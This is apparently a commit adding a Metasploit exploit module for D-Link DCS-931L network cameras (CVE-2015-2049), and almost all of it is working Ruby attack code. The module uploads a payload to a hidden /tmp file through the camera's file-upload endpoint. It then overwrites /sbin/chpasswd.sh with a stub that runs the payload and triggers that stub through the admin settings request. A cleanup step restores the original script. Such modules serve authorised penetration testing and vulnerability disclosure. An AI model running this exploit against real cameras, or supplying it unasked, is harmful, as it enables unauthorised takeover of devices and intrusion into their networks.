Add D-Link DCS-931L File Upload module
This commit is contained in:
Brendan Coles
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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HttpFingerprint = { :pattern => [ /alphapd/ ] }
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link DCS-931L File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability in D-Link DCS-931L
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network cameras. The setFileUpload functionality allows authenticated
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users to upload files to anywhere on the file system, allowing system
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files to be overwritten, resulting in execution of arbitrary commands.
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This module has been tested successfully on a D-Link DCS-931L with
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firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
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D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
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affected, but untested.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'Payload' =>
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{
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'Space' => 1024, # File upload
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'DisableNops' => true
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},
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'Platform' => 'linux',
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'Privileged' => false,
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'Targets' =>
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[
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[ 'Linux mipsle Payload',
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0,
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'References' =>
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[
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[ 'CVE', '2015-2049' ],
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[ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],
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[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory
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],
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'DisclosureDate' => 'Feb 23 2015'))
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register_options(
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[
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OptString.new('USERNAME', [true, 'Camera username', 'admin']),
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OptString.new('PASSWORD', [false, 'Camera password (default: blank)', ''])
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], self.class)
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end
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def check
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res = send_request_cgi(
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'uri' => normalize_uri('uploadfile.htm'),
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'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']))
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if !res
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return Exploit::CheckCode::Unknown
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elsif res && res.code && res.code == 404
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vprint_status("#{peer} - uploadfile.htm does not exist")
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return Exploit::CheckCode::Safe
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elsif res && res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS-931L"/
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vprint_error("#{peer} - Authentication failed")
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return Exploit::CheckCode::Detected
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elsif res && res.code && res.code == 200 && res.body && res.body =~ /Upload File/
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"
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# upload payload
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res = upload(payload_path, generate_payload_exe)
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if !res
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fail_with(Failure::Unreachable, "#{peer} - Connection failed")
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elsif res && res.code && res.code == 404
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
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elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
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print_good("#{peer} - Payload uploaded successfully")
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
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end
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register_file_for_cleanup(payload_path)
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# overwrite /sbin/chpasswd.sh with stub
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res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")
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if !res
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fail_with(Failure::Unreachable, "#{peer} - Connection failed")
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elsif res && res.code && res.code == 404
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
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elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
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print_good("#{peer} - Stager uploaded successfully")
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
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end
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# execute payload using stub
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri('setSystemAdmin'),
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'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
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'vars_post' => Hash[{
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'ReplySuccessPage' => 'advanced.htm',
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'ReplyErrorPage' => 'errradv.htm',
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'ConfigSystemAdmin' => 'Apply'
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}.to_a.shuffle])
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if !res
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fail_with(Failure::Unreachable, "#{peer} - Connection failed")
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elsif res && res.code && res.code == 401
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
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elsif res && res.code && res.code == 200 && res.body
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print_good("#{peer} - Payload executed successfully")
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")
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end
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end
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#
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# Replace chpasswd.sh with original contents
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#
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def cleanup
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chpasswd = <<-EOF
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#!/bin/sh
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#
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# $Id: chpasswd.sh, v1.00 2009-11-05 andy
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#
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# usage: chpasswd.sh <user name> [<password>]
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#
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if [ "$1" == "" ]; then
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echo "chpasswd: no user name"
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exit 1
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fi
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echo "$1:$2" > /tmp/tmpchpw
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chpasswd < /tmp/tmpchpw
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rm -f /tmp/tmpchpw
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EOF
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res = upload('/sbin/chpasswd.sh', chpasswd)
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if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
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vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully")
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else
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vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default")
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end
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end
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#
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# Upload a file to a specified path
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#
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def upload(path, data)
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vprint_status("#{peer} - Writing #{data.length} bytes to #{path}")
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boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
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post_data = "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
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post_data << "\r\nreplyuf.htm\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
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post_data << "\r\nreplyuf.htm\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
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post_data << "\r\n#{path}\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
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post_data << "Content-Type: application/octet-stream\r\n"
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post_data << "\r\n#{data}\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
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post_data << "\r\nUpload File\r\n"
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post_data << "--#{boundary}\r\n"
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send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri('setFileUpload'),
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'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'data' => post_data)
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end
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end
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